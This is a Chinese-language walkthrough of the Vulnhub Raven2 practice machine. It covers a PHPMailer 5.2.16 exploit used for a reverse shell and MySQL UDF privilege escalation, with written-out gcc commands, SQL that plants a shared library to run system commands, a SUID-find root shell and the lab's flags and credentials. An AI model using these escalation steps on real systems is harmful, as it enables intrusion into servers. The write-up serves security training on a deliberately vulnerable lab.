Vulnhub靶场——Raven2练习

2024-06-05 400 0

信息收集

利用arp-scan+nmap进行信息收集,确认目标机器的ip为192.168.78.144,开放端口有22、80、111
Vulnhub靶场——Raven2练习插图
在/vendor/目录下的path文件中找到flag1
flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}
访问readme.md发现网站利用了PHPMailer,在version文件中确认版本为5.2.16
Vulnhub靶场——Raven2练习插图1
Vulnhub靶场——Raven2练习插图2

外网打点

在exploit-db中搜索历史漏洞的利用脚本,这里选择了40974.py这个脚本。
Vulnhub靶场——Raven2练习插图3
修改脚本内容
Vulnhub靶场——Raven2练习插图4
Vulnhub靶场——Raven2练习插图5
执行脚本。攻击机开启相关端口监听
Vulnhub靶场——Raven2练习插图6
访问http://192.168.78.144/shell.php
成功反弹shell
Vulnhub靶场——Raven2练习插图7

漏洞利用

可以利用以下命令获取回显

python -c 'import pty;pty.spawn("/bin/bash")
Vulnhub靶场——Raven2练习插图8
查找flag文件

find / -name flag*

找到两个相关文件
Vulnhub靶场——Raven2练习插图9
flag2{6a8ed560f0b5358ecf844108048eb337}
Vulnhub靶场——Raven2练习插图10
flag3{a0f568aa9de277887f37730d71520d9b}
Vulnhub靶场——Raven2练习插图11

权限提升

利用LinEnum进行扫描,查询是否有可以利用的提权点,发现mysql是以root用户权限进行的。
Vulnhub靶场——Raven2练习插图12
在WordPress根目录下的wp-config.php文件中找到mysql的用户名和密码。
root
R@v3nSecurity
尝试进行UDF提权
Vulnhub靶场——Raven2练习插图13
查看可写权限

show global variables like 'secure%';

Vulnhub靶场——Raven2练习插图14
查看plugin目录路径为 /usr/lib/mysql/plugin/

show variables like '%plugin%';

Vulnhub靶场——Raven2练习插图15
查询是否可以远程登录,发现root用户不能远程登录。

use mysql;

select user,host from user;

Vulnhub靶场——Raven2练习插图16
利用searchsploit搜索UDF的相关文件,这里选择适用于mysql4.x/5.x版本的1518.c
Vulnhub靶场——Raven2练习插图17
gcc编译

#gcc编译
gcc -g -c 1518.c 	#编译后生成一个.o文件
#gcc编译.o文件
gcc -g -shared -o yc.so 1518.o -lc -g 	#生成yc.so
-g 生成调试信息
-c 编译(二进制) 
-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。 
-o:执行命令后的文件名 
-lc:-l 库 c库名

Vulnhub靶场——Raven2练习插图18
Vulnhub靶场——Raven2练习插图19
将yc.so上传至目标机器
这里将yc.so保存在了/var/www/html/hanh目录下
Vulnhub靶场——Raven2练习插图20
进入数据库,插入数据
创建一个表为hanh,创建一个名为line,数据类型为blob的列

create table hanh(line blob);
#插入数据文件至数据库
insert into hanh values(load_file('/var/www/html/hanh/yc.so'));
#将刚岗插入表中的数据导出文件
select * from hanh into dumpfile '/usr/lib/mysql/plugin/yc.so';
#利用so文件创建函数
create function do_system returns integer soname 'yc.so'; 
#查看函数是否创建成功
select * from mysql.func;
#调用do_system函数来给find命令所有者的suid权限,使其可以执行
select do_system('chmod u+s /usr/bin/find');

退出mysql,查看下现在的SUID权限。发现find命令已经有SUID的权限了

find / -perm -4000 -type f -exec ls -al {} \; 2>/dev/null

Vulnhub靶场——Raven2练习插图21
使用/user/bin/find的SUID提权

touch getflag

find getflag -exec '/bin/sh' \;

在/root/flag4.txt中找到了falg4
flag4{df2bc5e951d91581467bb9a2a8ff4425}
Vulnhub靶场——Raven2练习插图22


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

webpack打包站点,js文件名批量获取思路
加密对抗靶场enctypt——labs通关
【论文速读】| 注意力是实现基于大语言模型的代码漏洞定位的关键
蓝队技术——Sysmon识别检测宏病毒
内网渗透学习|powershell上线cs
LLM attack中的API调用安全问题及靶场实践

发布评论